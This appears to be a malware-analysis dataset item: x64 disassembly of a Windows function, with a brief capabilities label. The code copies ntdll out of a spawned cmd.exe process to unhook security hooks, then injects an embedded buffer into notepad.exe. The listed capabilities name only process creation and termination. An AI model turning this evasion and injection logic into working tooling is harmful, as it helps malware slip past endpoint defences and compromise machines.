Function at 0x401ccd
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0xac], 0
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x9c], 0
mov rdx, rbp
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x98], eax
cmp dword [rbp + 0x98], 0
jne 0x401da9
lea rcx, str.____Error:_Could_not_call_CreateProcess_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x401fc3
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x90]
add rax, rdx
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
add rax, 0x18
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov eax, dword [rax + 0x38]
mov eax, eax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov r8, rdx
mov rdx, rax
lea rcx, str.ntdll_size:__x__cache:__p_n
call sym.printf_char_const__::_
mov qword [rbp - 0x28], 0
mov rax, qword [rbp - 0x20]
mov r9, qword [rbp + 0x70]
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x401ea1
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r8d, edx
mov rdx, rax
lea rcx, str.Error_reading:__d___x_n
call sym.printf_char_const__::_
lea rcx, str.Kill_
call sym.printf_char_const__::_
call sym.getchar
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
lea rcx, str.Done._n
call sym.printf_char_const__::_
call sym.getchar
lea rcx, str.Unhooking_ntdll_n
call sym.printf_char_const__::_
lea rcx, [0x00409158]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x68]
mov rdx, rax
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0x9c], eax
lea rcx, str.YAY__n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x68]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rcx, str.notepad.exe
call sym.FindTarget_char_const_
mov dword [rbp + 0xac], eax
cmp dword [rbp + 0xac], 0
je 0x401fbe
mov eax, dword [rbp + 0xac]
mov edx, eax
lea rcx, str.Notepad.exe_PID___d_n
call sym.printf_char_const__::_
mov eax, dword [rbp + 0xac]
mov r8d, eax
mov edx, 0
mov ecx, 0x43a
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xa0], rax
cmp qword [rbp + 0xa0], 0
je 0x401fbe
mov edx, dword [0x00409150]
mov rax, qword [rbp + 0xa0]
mov r8d, edx
lea rdx, [0x00409020]
mov rcx, rax
call sym.Inject_void__unsigned_char__unsigned_int_
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x138
pop rdi
pop rbp
ret